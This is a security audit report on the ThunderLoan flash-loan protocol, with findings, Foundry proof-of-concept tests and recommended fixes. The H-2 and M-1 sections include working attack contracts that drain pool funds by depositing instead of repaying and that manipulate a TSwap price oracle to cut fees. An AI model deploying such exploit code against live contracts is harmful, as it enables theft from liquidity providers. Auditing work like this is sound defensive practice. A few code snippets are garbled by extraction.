ThunderLoan Audit Report

Version 1.0

Cyfrin.io

June 4, 2024

Protocol Audit Report

Seven Cedars

June 4, 2024

Prepared by: Seven Cedars Lead Auditors: Seven Cedars

Table of Contents

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans.

Disclaimer

The team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Severity	Number of Issues found
high	3
medium	2
low	2
info	7
gas	1
total	15

Issues found

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees that is actually the case, that blocks redemptions and incorrectly sets the exchange rate.

Description: In the `ThunderLoan` protocol, the `exchangeRate` is used to calculate the exchange rate between assetTokens and their underlying tokens. Indirectly, it keeps track of how many fees liquidity providers should receive.

However, the `deposit` function erroneously updates this state - without collecting any fees.

```
1      function deposit(IERC20 token, uint256 amount) external
          revertIfZero(amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
              EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7
8  @>        uint256 calculatedFee = getCalculatedFee(token, amount);
9  @>        assetToken.updateExchangeRate(calculatedFee);
10
11         token.safeTransferFrom(msg.sender, address(assetToken), amount)
              ;
12     }
```

Impact: There are several impacts of this bug.

1. The `redeem` function is potentially blocked because the protocol, bacause it can try to return more tokens than it has.
2. Rewards are incorrectly calculated, leading to users getting potentially more or less than they deserve.

Proof of Concept: 1. LP depsoits 2. User takes out a flash loan 3. It is now possible for LP to redeem.

Proof of Concept

Place the following in `ThunderLoanTest.t.sol`

```
1       function testRedeemAfterLoan() public  setAllowedToken hasDeposits
            {
2           uint256 amountToBorrow = AMOUNT * 10;
3           uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
                amountToBorrow);
4
5           vm.startPrank(user);
6           tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
7           thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
                amountToBorrow, "");
8           vm.stopPrank();
9
10          uint256 amountToRedeem = type(uint256).max ;
11          vm.startPrank(liquidityProvider);
12          thunderLoan.redeem(tokenA, amountToRedeem);
13      }
```

Recommended Mitigation: Remove the incorrect update exchange rate lines from `deposit`.

```
1       function deposit(IERC20 token, uint256 amount) external
            revertIfZero(amount) revertIfNotAllowedToken(token) {
2           AssetToken assetToken = s_tokenToAssetToken[token];
3           uint256 exchangeRate = assetToken.getExchangeRate();
4           uint256 mintAmount = (amount * assetToken.
                EXCHANGE_RATE_PRECISION()) / exchangeRate;
5           emit Deposit(msg.sender, token, amount);
6           assetToken.mint(msg.sender, mintAmount);
7
8   -        uint256 calculatedFee = getCalculatedFee(token, amount);
9   -        assetToken.updateExchangeRate(calculatedFee);
10
11          token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
12      }
```

[H-2] The `ThunderLoan::deposit` function can be called with borrowed money from `ThunderLoan::flashloan`, allowing draining of all funds through taking fees and exchange rate manipulation.

Description: It is possible to borrow tokens via the `flashloan` function and desposit them via the `deposit` function; bypassing the `repay` function. It is possible because the protocol checks if the flashloan has been repaid by comparing the start and end balance of the token. This end balance can also be the same by depositing (instead of repaying) the token.

```
1       uint256 endingBalance = token.balanceOf(address(assetToken));
2       if (endingBalance < startingBalance + fee) {
```

```
3           revert ThunderLoan__NotPaidBack(startingBalance + fee,
                endingBalance);
4       }
```

Impact: When borrowed tokens are redeposited (instead of repaid) in this way, the value of the `assetToken` linked to the underlying is artifically increased: new `assetToken`s are minted without additional underlying tokens being added to the `ThunderLoan` contract. It results in tokens being drained from the asset pool.

Proof of Concept: 1. ThunderLoan has 100e18 of tokenA as asset, with 100e18 `assetToken`s as collateral.
2. Malicious userZero takes a flashLoan of 50e18 to external contractB. 3. ContractB deposits the borrowed tokens through the `deposit` function, receiving newly minted `assetToken`s. 4. This causes the exchange rate between the `assetToken` and the underlying token to increase. 5. ContractB does not call the repay function, but because the ending balance is higher than starting balance; the call does not revert. 6. Finally, ContractB calls the `redeem` function with the its assetTokens and receives more underlying tokens than were borrowed initially.

Proof of Concept

Place the following two in `ThunderLoanTest.t.sol`:

```
1       function testUseDepositInsteadOfRepayToStealFunds() public
            setAllowedToken hasDeposits {
2           vm.startPrank(user);
3           uint256 amountToBorrow = 50e18;
4           uint256 fee = thunderLoan.getCalculatedFee(tokenA,
                amountToBorrow);
5           DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
                ));
6           tokenA.mint(address(dor), fee);
7           thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
                ;
8           dor.redeemMoney();
9           vm.stopPrank();
10
11          assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
12      }
```

As well as:

```
1       contract DepositOverRepay is IFlashLoanReceiver {
2           ThunderLoan thunderLoan;
3           AssetToken assetToken;
4           IERC20 s_token;
5
6           constructor(address _thunderLoan) {
7               thunderLoan = ThunderLoan(_thunderLoan);
```

```
        }

        function executeOperation(
            address token,
            uint256 amount,
            uint256 fee,
            address /*initiator*/,
            bytes calldata /*params*/
        )
            external
            returns (bool)
        {
            s_token = IERC20(token);
            assetToken = thunderLoan.getAssetFromToken(IERC20(token));
            IERC20(token).approve(address(thunderLoan), amount + fee);
            thunderLoan.deposit(IERC20(token), amount + fee);
            return true;
        }

        function redeemMoney() public {
            uint256 amount = assetToken.balanceOf(address(this));
            thunderLoan.redeem(s_token, amount);
        }
    }
```

Recommended Mitigation: the `flashLoan` function needs to check if the `repay` function is called. This can be done by setting `s_currentlyFlashLoaning` to false inside the `repay` function instead of the `flashLoan` function.

Thus, at the end of `flashloan`:

```
    uint256 endingBalance = token.balanceOf(address(assetToken));
    if (endingBalance < startingBalance + fee) {
        revert ThunderLoan__NotPaidBack(startingBalance + fee,
            endingBalance);
    }
-    s_currentlyFlashLoaning[token] = false;
```

And subsequently at `repay`:

```
    function repay(IERC20 token, uint256 amount) public {
        if (!s_currentlyFlashLoaning[token]) {
            revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        AssetToken assetToken = s_tokenToAssetToken[token];
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
+       s_currentlyFlashLoaning[token] = false;
    }
```

This will cause the flashLoan to keep open as long as the token has not been actually repaid.

[H-3] Mixing up variable location causes storage collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol.

Description: `ThunderLoan.sol` has two storage variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

However, `ThunderLoanUpgraded.sol` has them in a different order.

```
    uint256 private s_flashLoanFee;
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, also breaks storage location.

Impact: After the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. As a result, users will pay the wrong fee. Worse, the `s_currentlyFlashLoaning` starts in the wrong stroage slot, breaking the protocol.

Proof of Concept: 1. Initial contract is deployed. 2. Owner of contract deploys upgrade. 3. Fee structure breaks.

Proof of Concept

Place the following in `ThunderLoanTest.t.sol`.

```
    import { ThunderLoanUpgraded } from  "../../src/upgradedProtocol/
        ThunderLoanUpgraded.sol";

    function testUpgradesBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console2.log("fee before upgrade:", feeBeforeUpgrade);
        console2.log("fee after upgrade:", feeAfterUpgrade);

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

Recommended Mitigation: If you must remove the storage variable, leave it blank to avoid mixing storage slots.

```
-     uint256 private s_flashLoanFee;
-     uint256 public constant FEE_PRECISION = 1e18;
+     int256 private s_blank;
+     int256 private s_flashLoanFee;
+     uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using Tswap as price Oracle allows for Oracle manipulation and to users being able to get lower borrowing fees.

Description: At `getCalculatedFee` the fee is calculated in wrappedEthed (Weth), using the `TSwap` protocol as price Oracle. However, the exchange rate at `TSwap` can be manipulated by adding (borrowed) tokens to the `Tswap` exchange pool.

Impact: As the exchange rate at the `TSwap` protocol is artifically decreased, a user will pay lower fees for their flashloan.

Proof of Concept: 1. Malicious user takes out a first flashLoan of TokenA. 2. The user deposits the flashloan to the `Tswap` protocol. 3. Malicious user takes out a second flashloan of TokanA. 4. The user pays far lower fees for the second flashloan.
5. On average the user paid lower fees than they would other wise have.

Proof of Concept

Place the following code in `ThunderLoanTest.t.sol`.

```
    function testOracleManipulation() public {
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        address tswapPool = pf.createPool(address(tokenA));

        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. fund tswap
        vm.startPrank(liquidityProvider);
```

```
13          tokenA.mint(liquidityProvider, 100e18);
14          tokenA.approve(address(tswapPool), 100e18);
15          weth.mint(liquidityProvider, 100e18);
16          weth.approve(address(tswapPool), 100e18);
17          BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
                timestamp);
18          vm.stopPrank();
19          // ratio = 1 to 1.
20
21          // 3. fund Thunderloan
22          vm.prank(thunderLoan.owner());
23          thunderLoan.setAllowedToken(tokenA, true);
24
25          vm.startPrank(liquidityProvider);
26          tokenA.mint(liquidityProvider, 1000e18);
27          tokenA.approve(address(thunderLoan), 1000e18);
28          thunderLoan.deposit(tokenA, 1000e18);
29          vm.stopPrank();
30
31          // 4. get two flashloans.
32          //     a. to influence price of weth/tokenA on Tswap
33          //     b. to show that doing this results in reduced fees on
                thunderloan.
34          uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
                100e18);
35          console2.log("normal fee is: ", normalFeeCost);
36          //0.296147410319118389
37
38          uint256 amountToBorrow = 50e18;
39          MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
                (
40              address(tswapPool),
41              address(thunderLoan),
42              address(thunderLoan.getAssetFromToken(tokenA))
43          );
44
45          vm.startPrank(user);
46          tokenA.mint(address(flr), 100e18);
47          thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
                ;
48          vm.stopPrank();
49
50          uint256 attackFee = flr.feeOne() + flr.feeTwo();
51          console2.log("attack fee is:", attackFee);
52
53          assert(attackFee < normalFeeCost);
54      }
```

As well as the attack contract:

```
1  contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
```

```
2       ThunderLoan thunderLoan;
3       address repayAddress;
4       BuffMockTSwap tswapPool;
5       bool attacked;
6       uint256 public feeOne;
7       uint256 public feeTwo;
8
9       constructor(address _tswapPool, address _thunderLoan, address
            _repayAddress) {
10          tswapPool = BuffMockTSwap(_tswapPool);
11          thunderLoan = ThunderLoan(_thunderLoan);
12          repayAddress = _repayAddress;
13      }
14
15      function executeOperation(
16          address token,
17          uint256 amount,
18          uint256 fee,
19          address /*initiator*/,
20          bytes calldata /*params*/
21      )
22          external
23          returns (bool)
24      {
25          if (!attacked) {
26              feeOne = fee;
27              attacked = true;
28              uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                    (50e18, 100e18, 100e18);
29              IERC20(token).approve(address(tswapPool), 50e18);
30              tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                    wethBought, block.timestamp);
31              // this tanks the price.
32
33              // now getting a second flashloan.
34              thunderLoan.flashloan(address(this), IERC20(token), amount,
                     "");
35              // repay
36              // IERC20(token).approve(address(thunderLoan), amount + fee
                    );
37              // thunderLoan.repay(IERC20(token), amount + fee);
38              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
39
40          } else {
41              // calculate fee -> to compare with previous fee.
42              feeTwo = fee;
43              // repay
44              // IERC20(token).approve(address(thunderLoan), amount + fee
                    );
45              // thunderLoan.repay(IERC20(token), amount + fee);
```

```
46                 IERC20(token).transfer(address(repayAddress), amount + fee)
                       ;
47             }
48             return true;
49         }
50     }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle. This will involve some considerable refactoring of the code base.

[M-2] `ThunderLoan::getCalculatedFee` calculates the fee in weth, but subsequently combines it with token amounts in payments. It results in users paying incorrect fees.

Description: The `getCalculatedFee` function calculates fees in weth:

```
1       uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(
            token))) / s_feePrecision;
2       fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
```

However, this fee is collected as a token - not as weth - in the `flashloan` function:

```
1       if (endingBalance < startingBalance + fee) {
2           revert ThunderLoan__NotPaidBack(startingBalance + fee,
                endingBalance);
3       }
```

Impact: The fees paid by users will be incorrect any time the exchange rate between weth and the token is not 1 to 1.

Recommended Mitigation: Remove calculation of fees in weth. Have users pay their fees in the token that is borrowed. This also resolves any issues with price manipulation mentioned in issue [M-1] discussed above.

Low

[L-1]: Centralization Risk for trusted owners

The protocol restricts function by owner: giving a single owner privileged rights to perform admin tasks. As a consequence, the owner needs to be trusted to not perform malicious updates or drain funds.

6 Found Instances - Found in src/protocol/ThunderLoan.sol Line: 264

```
1   ```javascript
```

```
2       function setAllowedToken(IERC20 token, bool allowed) external
            onlyOwner returns (AssetToken) {
3   ```
```

- Found in src/protocol/ThunderLoan.sol Line: 299

```
1       function updateFlashLoanFee(uint256 newFee) external onlyOwner
            {
```

- Found in src/protocol/ThunderLoan.sol Line: 329

```
1       function _authorizeUpgrade(address newImplementation) internal
            override onlyOwner { }
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 238

```
1       function setAllowedToken(IERC20 token, bool allowed) external
            onlyOwner returns (AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 264

```
1       function updateFlashLoanFee(uint256 newFee) external onlyOwner
            {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 287

```
1       function _authorizeUpgrade(address newImplementation) internal
            override onlyOwner { }
```

[L-2]: Initialisation can be front run.

Description: By front running the initialise function, someone other than the deployer of the contract can initialize the contract.

Impact: An unintended (malicious) user can take ownership of the contract at initialisation.

Recommended Mitigation: Deploy and initialise through the same function. This is currently already done in the [DeployThunderLoan] script.

Informational

[I-1]: `public` functions not used internally could be marked `external`

Instead of marking a function as **`public`**, consider marking it as `external` if it is not used internally.

6 Found Instances - Found in src/protocol/ThunderLoan.sol Line: 254

```
```javascript
    function repay(IERC20 token, uint256 amount) public {
```
```

- Found in src/protocol/ThunderLoan.sol Line: 313

```
    function getAssetFromToken(IERC20 token) public view returns (
        AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 317

```
    function isCurrentlyFlashLoaning(IERC20 token) public view
        returns (bool) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 230

```
    function repay(IERC20 token, uint256 amount) public {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 275

```
    function getAssetFromToken(IERC20 token) public view returns (
        AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 279

```
    function isCurrentlyFlashLoaning(IERC20 token) public view
        returns (bool) {
```

[I-2]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

1 Found Instances

- Found in src/protocol/OracleUpgradeable.sol Line: 17

```
        s_poolFactory = poolFactoryAddress;
```

[I-3]: functions should emit an event what state variables are changed. Some of these events are missing.

Check for `address(0)` when assigning values to address state variables.

1 Found Instances

- Found in src/protocol/OracleUpgradeable.sol Line: 304

```
1         s_flashLoanFee = newFee;
```

[I-4]: It is considered bad practice to change live code to improve testing. Remove and adapt testing files accordingly.

Description: `IFlashLoanReceiver.sol` includes an unused import of `IThunderLoan`. This import is used solely in the `MockFlashLoanReceiver.sol` test file.

Recommended Mitigation: Remove import from `IFlashLoanReceiver.sol` and adapt `MockFlashLoanReceiver.sol`.

At `IFlashLoanReceiver.sol`:

```
1 -   import { IThunderLoan } from "./IThunderLoan.sol";
```

At `MockFlashLoanReceiver.sol`:

```
1 -   import { IFlashLoanReceiver, IThunderLoan } from "../../src/
      interfaces/IFlashLoanReceiver.sol";
2 +   import { IFlashLoanReceiver } from "../../src/interfaces/
      IFlashLoanReceiver.sol";
3 +   import { IThunderLoan } from "../../src/interfaces/IThunderLoan.sol
      ";
```

[I-5]: Input parameters of `IThunderLoan::repay` differ from `ThunderLoan::repay` repay.

Description: `IThunderLoan::repay` takes an `address` for the `token` field, while `ThunderLoan::repay` takes an `ERC20` for the token field.

Recommended Mitigation: Use `ERC20` in both cases. Adapt the `IThunderLoan::repay` function. Adjust any (test) files accordingly.

[I-6]: State variable that remain unchanged should be immutable or constant.

Description: `ThunderLoan::s_feePrecision` is set at initialisation, but never changed afterwards.

Recommended Mitigation: Change `s_feePrecision` to immutable or, possibly, to a constant.

[I-7]: Functions are missing natspecs. Please add.

Description: Almost all functions do not have natspecs.

impact Missing natspecs makes code less readable and increases the chance of inadvertently introducing vulnerabilities.

Recommended Mitigation: Add natspecs throughout.

Gas

[G-1]: `AssetToken.sol::updateExchangeRate` reads from storage multiple times, using gas.

Description: `AssetToken.sol::updateExchangeRate` reads from storage multiple times, each time using quite a bit of gas.

```
1 @>    uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee)
      / totalSupply();
2
3 @>    if (newExchangeRate <= s_exchangeRate) {
4         revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate,
              newExchangeRate);
5     }
6     s_exchangeRate = newExchangeRate;
7 @>    emit ExchangeRateUpdated(s_exchangeRate);
```

Recommended Mitigation: This can be mitigated by creating a temporary variable in the function, and using this temporary variable to calculate the exchange rate. This means the function only reads from storage once instead of three times.

```
1 +    uint256 rate = s_exchangeRate;
2
3 -    uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
      totalSupply();
4 +    uint256 newExchangeRate = rate * (totalSupply() + fee) /
      totalSupply();
5
6 -    if (newExchangeRate <= ras_exchangeRatete) {
7 -        revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate,
      newExchangeRate);
8 +    if (newExchangeRate <= rate) {
9 +        revert AssetToken__ExhangeRateCanOnlyIncrease(rate,
      newExchangeRate);
10     }
11     s_exchangeRate = newExchangeRate;
12 -    emit ExchangeRateUpdated(s_exchangeRate);
```

```
13 +     emit ExchangeRateUpdated(rate);
```